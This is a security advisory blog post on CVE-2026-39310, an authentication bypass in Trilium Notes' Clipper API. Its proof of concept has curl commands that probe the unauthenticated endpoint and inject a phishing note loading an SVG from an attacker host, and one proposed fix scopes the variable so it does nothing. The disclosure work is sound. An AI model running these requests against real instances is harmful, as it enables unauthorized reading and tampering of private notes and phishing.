Post cover image

July 7, 2026

CVE-2026–39310: Authentication Bypass in Trilium Notes via Clipper API — Full Knowledge Base…

This vulnerability was discovered by [drkim], a researcher from the RedPoc team, and this article provides a deeper technical analysis.

By Redpoc

4 min read

Original advisory (GHSA): https://github.com/TriliumNext/Trilium/security/advisories/GHSA-jcvx-vc83-cppw

TL;DR

The Clipper API in Trilium Desktop (v0.101.3, 0.102.1 and earlier) allows full authentication bypass when running in an Electron environment. An attacker on the same network can discover the service via port scanning and inject malicious content directly into a user's private database, enabling unauthorized data access, phishing, and potential local system compromise.

None

Introduction

This vulnerability was originally reported via GHSA (GHSA-jcvx-vc83-cppw) and demonstrates how the removal of authentication middleware in a specific runtime environment can lead to critical impact.

In this post, I analyze the root cause, exploitation flow, and practical impact of this issue, along with a working Proof-of-Concept (PoC).

Overview

While analyzing Trilium Notes, I discovered an authentication bypass that allows a network-adjacent attacker to fully access and manipulate a user's private knowledge base.

Trilium provides a Clipper API intended for integration with local browser extensions. This API is exposed on a high port (e.g., 37840) and is designed to be used only by local extensions in an Electron-based Desktop environment.

However, in the Electron environment, the application explicitly disables authentication middleware for Clipper API endpoints. As a result, the backend endpoints are reachable from any host on the same network, without any password, API token, or CSRF protection.

This inconsistency allows attackers to:

  • Discover active Trilium instances via port scanning
  • Directly invoke Clipper API endpoints
  • Read and inject notes into the victim's private knowledge base
  • Use injected notes as a trusted channel for further attacks (e.g., phishing, SVG-RCE)

Root Cause

The issue stems from the intentional removal of authentication middleware for Clipper API routes in the Electron environment.

Intended Security Design

Trilium normally applies authentication middleware to all API endpoints, including those related to the Clipper API. The design assumes that:

  • Clipper API calls originate only from a local browser extension
  • The service is bound to localhost and thus not reachable from other hosts

Actual Behavior

In apps/server/src/routes/routes.ts, the application explicitly disables authentication for Clipper routes when isElectron is true:

// Source: apps/server/src/routes/routes.ts (Line 280)
const clipperMiddleware = isElectron ? [] : [auth.checkEtapiToken];

As a result:

  • Endpoints like /api/clipper/handshake and /api/clipper/notes are exposed without any authentication
  • The service is not limited to loopback; it is reachable from the entire local network
  • No CSRF validation or token check is performed on these endpoints

Thus:

Network request -> Unauthenticated Clipper API -> Note read/write -> Knowledge base manipulation

No verification of user identity or token occurs.

Data Flow

  1. Attacker on the same network
  2. Port scan identifies Trilium port (e.g., 37840)
  3. Direct endpoint access to /api/clipper/handshake
  4. Confirmation of unauthenticated Trilium instance
  5. archive_url / note content injection via /api/clipper/notes
  6. Malicious note appears in victim's private workspace
  7. Victim interacts with injected content
  8. Potential follow-on attacks (phishing, SVG-RCE, etc.)

Proof of Concept (PoC)

Step 1: Discover the Target (Attacker Machine)

The attacker identifies the victim's IP (192.168.170.132) and the open Trilium port (37840) via scanning.

None

Step 2: Validate Unauthenticated Access

Confirm the instance is vulnerable without any credentials:

curl http://192.168.170.132:37840/api/clipper/handshake
# Expected result: {"appName":"trilium", ...}
None

Step 3: Unauthorized Injection

Inject a high-priority phishing note:

curl -X POST http://192.168.170.132:37840/api/clipper/notes \
     -H "Content-Type: application/json" \
     -d '{
       "parentNoteId": "root",
       "title": "⚠️ ACTION REQUIRED: Security Database Fix",
       "content": "<h1>URGENT</h1><p>A vulnerability has been detected in your local DB. Please view this attachment to apply the fix: <img src=\"http://attacker.com/exploit.svg\"></p>",
       "type": "text"
     }'
None

Step 4: Victim Interaction

The victim sees the new note in their private Trilium workspace. Trusting their own instance, they interact with the content, potentially triggering further exploit chains (e.g., SVG-based RCE).

None

Impact

Severity: High (CVSS 8.6 — Network Vector) This vulnerability leads to full knowledge base exposure and manipulation.

Direct Impact

  • Unauthorized read access to all notes
  • Arbitrary note insertion and modification
  • Injection of phishing links and malicious content
  • Potential persistence via malicious notes

Extended Impact

  • Sensitive data exposure (passwords, project plans, personal information)
  • Use of injected notes as a trusted delivery vector for further attacks (e.g., SVG-RCE)
  • In combination with other Trilium vulnerabilities, potential local system compromise
  • Internal network pivoting via trusted application context

Why This Matters

This vulnerability is particularly interesting because:

  • Security controls (authentication middleware) exist but are intentionally removed in a specific runtime environment
  • The design assumes "local-only" access, creating a false sense of security
  • Backend trust assumptions are broken: network access is treated as equivalent to authenticated access
  • In real-world environments, this pattern ("local extension API exposed to the network") is extremely common and dangerous

Mitigation

Code-Level Fix

Add proper authorization checks in backend logic for Clipper routes, even in the Electron environment:

const clipperMiddleware = [auth.checkEtapiToken]; // Always require authentication

Or, more explicitly:

if (isElectron) {
  // Still require authentication for Clipper API
  const clipperMiddleware = [auth.checkEtapiToken];
}

Key Recommendations

  • Never rely on environment-specific assumptions to disable authentication
  • Always validate permissions and tokens in backend logic
  • Apply consistent security checks across all execution paths, regardless of runtime environment
  • Do not assume "local-only" services are not reachable from the network

Key Insight

Authentication middleware that is removed based on runtime environment is not a security control — it is a security hole. Even in "local-only" applications, network exposure must be treated as a real attack surface, and authentication must be enforced where execution happens, not where visibility is (assumed to be) controlled.

Conclusion

This case highlights a critical lesson:

Security must be enforced where execution happens, not where visibility is (assumed to be) controlled.

Even in applications designed for local use, improper authorization handling (or intentional removal of it) can lead to full knowledge base exposure and serve as a powerful delivery vector for more severe exploits.

Contribution

  • Identified authentication bypass in Trilium Clipper API
  • Developed working unauthenticated PoC for note read/write
  • Analyzed backend route configuration and middleware removal logic
  • Validated exploitation flow from network discovery to note injection
  • Provided mitigation strategy and secure design recommendations

References

  • Trilium GitHub Security Advisory https://github.com/TriliumNext/Trilium/security/advisories/GHSA-jcvx-vc83-cppw
  • SentinelOne Vulnerability Database https://www.sentinelone.com/vulnerability-database/cve-2026-39310/
  • NVD https://nvd.nist.gov/vuln/detail/cve-2026-39310

Author

drkim

GitHub: https://github.com/drkim-dev

Team: https://redpoc.github.io/